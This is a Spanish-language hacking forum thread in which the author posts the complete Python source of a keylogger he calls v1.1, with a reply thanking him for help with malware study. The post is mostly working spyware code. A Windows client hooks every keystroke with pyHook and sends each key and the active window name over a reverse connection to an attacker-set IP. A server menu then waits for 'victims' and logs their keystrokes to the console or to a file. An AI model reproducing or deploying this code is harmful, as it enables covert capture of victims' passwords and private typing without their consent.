Expermicid Posted October 19, 2012 Share Posted October 19, 2012 (edited) Hola a todos! Despues de dos dias, aqui vengo a dejar una mejora del keylogger con algunos cambio y algunas opciones agregadas. Primero que nada cambie la forma de conexion, haciendolo de conexion inversa. Siendo la victima quien se conecte a nosotros y no tener que poner la IP para conectarse. Agregue un menu para hacerlo mas vistoso, poniendole algunas opciones basicas. Y tambien agregue la posibilidad de ver la captura del teclado desde la terminal o tambien ir guardandolo es un archivo plano. Tambien habia agregados hilos en el servidor para poder ir captando las teclas que recibe y tener la posibilidad de alguna forma de poder cancelar el enlace, pero quite los hilos y lo solucione con la funcion fork() que crea procesos hijos. Con lo cual pude obtener lo que deseaba. Y si no me olvido de nada mas, como ultimo y se ve en el video, ademas de capturar las teclas tambien envia las ventanas en que son presionada las teclas. :) Codigos: Servidor: [lenguaje=python]#!/usr/bin/env python # -*- coding: utf-8 -*- ########################################## ## ## ## Keylogger v1.1 ## ## By Expermicid ## ## Fecha inicio : 16/10/12 ## ## Fecha fin : 18/10/12 ## ## Servidor ## ## ## ########################################## import socket import os, sys def ImprimirCabecera() : print ' ####################################################' print ' #### ####' print ' #### Keylogger v1.1 --- By Expermicid ####' print ' #### ####' print ' ####################################################' def CrearArchivo() : archivo=open('Logs.txt','w') archivo.close() def EscribirArchivo(texto) : archivo=open('Logs.txt','a') archivo.write(texto) archivo.close() def Capturar(s, sc, opc2) : sys.stdout.write(os.popen('clear').read()) ImprimirCabecera() print ' #### CAPTANDO TECLAS ####' print ' ####################################################\n' print '--------------------------------------------------------------------------------\n' if opc2 == '3' : CrearArchivo() EscribirArchivo('Logs de Keylogger v1.1 --- By Expermicid\n') texto = '' nombreWindows = '' while True : try : recibido = sc.recv(1024) except : pass else : if len(recibido) > 0 : sys.stdout.write(os.popen('clear').read()) ImprimirCabecera() print ' #### CAPTANDO TECLAS ####' print ' ####################################################\n' print '--------------------------------------------------------------------------------\n' if recibido[0] == ':' : letra = ':' window = recibido[2:] else : letra = recibido.split(':')[0] window = recibido.split(':')[1] if opc2 == '1' : if window != nombreWindows : texto += '\n\n***' + window + '***\n\n' nombreWindows = window texto += letra print texto elif opc2 == '2' : if window != nombreWindows : EscribirArchivo('\n\n***' + window + '***\n\n') nombreWindows = window EscribirArchivo(letra) elif opc2 == '3' : if window != nombreWindows : texto += '\n\n***' + window + '***\n\n' EscribirArchivo('\n\n***' + window + '***\n\n') nombreWindows = window texto += letra print texto EscribirArchivo(letra) def Desconectar(s, sc) : while True : comando = raw_input() if comando == 'Q' or comando == 'q' : sc.close() s.close() break Main() def Main() : opc1 = '' while opc1 != '1' and opc1 != '2' : sys.stdout.write(os.popen('clear').read()) ImprimirCabecera() print ' #### MENU ####' print ' ####################################################' print ' #### 1) ver si hay victimas conectadas ####' print ' #### 2) salir ####' print ' ####################################################\n' opc1 = raw_input('>>> ') if opc1 == '2' : sys.stdout.write(os.popen('clear').read()) ImprimirCabecera() print ' #### DESPEDIDA ####' print ' ####################################################' print ' #### Gracias por usar mi keylogger ####' print ' #### Saludos, Expermicid ####' print ' ####################################################\n' raw_input() elif opc1 == '1' : sys.stdout.write(os.popen('clear').read()) ImprimirCabecera() print ' #### ESPERANDO VICTIMA ####' print ' ####################################################\n' host = '' port = 5000 try : s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host, port)) s.listen(3) sc, addr = s.accept() except : sys.stdout.write(os.popen('clear').read()) ImprimirCabecera() print ' #### CONFLICTO ####' print ' ####################################################' print ' #### Ocurrio algun problema :( ####' print ' ####################################################\n' raw_input() else : sys.stdout.write(os.popen('clear').read()) ImprimirCabecera() print ' #### VICTIMA ####' print ' ####################################################\n' print 'Se conecto una victima :)' #sc.getpeername() raw_input() opc2 = '' while opc2 != '1' and opc2 != '2' and opc2 != '3' : sys.stdout.write(os.popen('clear').read()) ImprimirCabecera() print ' #### CONEXION CORRECTA :) ####' print ' ####################################################' print ' #### OPCIONES ####' print ' ####################################################' print ' #### 1) ver teclas en consola ####' print ' #### 2) guardar teclas en archivo ####' print ' #### 3) ver en consola y guardar en archivo ####' print ' ####################################################\n' opc2 = raw_input('>>> ') child_pid = os.fork() if child_pid == 0 : Capturar(s,sc,opc2) else : Desconectar(s,sc) return Main()[/lenguaje] Cliente: [lenguaje=python]# -*- coding: cp1252 -*- ########################################## ## ## ## Keylogger v1.1 ## ## By Expermicid ## ## Fecha inicio : 16/10/12 ## ## Fecha fin : 18/10/12 ## ## Cliente ## ## ## ########################################## import socket import pythoncom, pyHook def OnKeyboardEvent(event) : # letras minusculas y letras mayusculas if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) : letra = chr(event.Ascii) # numeros elif event.Ascii > 47 and event.Ascii < 58 : letra = chr(event.Ascii) # F1 .. F12 elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 : letra = ' ['+event.Key+'] ' # Espacio elif event.Ascii == 32 : letra = chr(event.Ascii) # Enter elif event.Ascii == 13 : letra = '\n' # BackSpace elif event.Ascii == 8 : letra = '[backSpace]' # Escape elif event.Ascii == 27 : letra = '[Escape]' # Tab elif event.Ascii == 9 : letra = chr(event.Ascii) # Flechas elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 : letra = '['+event.Key+']' # Bloq Mayus elif event.KeyID == 20 and event.Ascii == 0 : letra = '[bloqMayus]' # caracteres elif event.Ascii > 32 and event.Ascii < 48 : letra = chr(event.Ascii) # caracteres elif event.Ascii > 57 and event.Ascii < 65 : letra = chr(event.Ascii) # caracteres elif event.Ascii > 90 and event.Ascii < 97 : letra = chr(event.Ascii) # caracteres elif event.Ascii > 122 and event.Ascii < 127 : letra = chr(event.Ascii) # Insetar / Delete elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 : letra = ' ['+event.Key+'] ' # ascii extendido elif event.Ascii > 127 and event.Ascii < 255 : letra = chr(event.Ascii) # Flechas elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 : letra = '['+event.Key+']' # Win / Apps elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 : letra = '['+event.Key+']' # Inicio-Fin / RePag-AvPag elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 : letra = '['+event.Key+']' # caracter Ž elif event.KeyID == 222 and event.Ascii == 0 : letra = '´' try : s.send(letra+':'+event.WindowName) except : pass return True try: host = 'Ip_a_Conectar' # sustituir Ip_a_Conectar por la que corresponda port = 5000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) except : pass else: hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()[/lenguaje] NOTA: Si ven en el cliente van a necesitar poner la ip a la que se tiene que conectar. NOTA 2: En el servidor, cuando se conecta una victima y yo imprimo avisando lo ocurrido como comentario puse 'sc.getpeername()', si ustedes ponen que se imprima eso, van a obtener los datos de la victima que se conecto como la IP. Video: This is the hidden content, please Sign In or Sign Up Saludos Edited February 16, 2014 by Expermicid Link to comment Share on other sites More sharing options...
C4nh0t0 Posted November 4, 2012 Share Posted November 4, 2012 Re: Keylogger v1.1 [by Expermicid] Expermicid esto me va a ayudar mucho porque estoy empezando mis estudios de programación de malware ahora. Muy agradecido :D Link to comment Share on other sites More sharing options...
Recommended Posts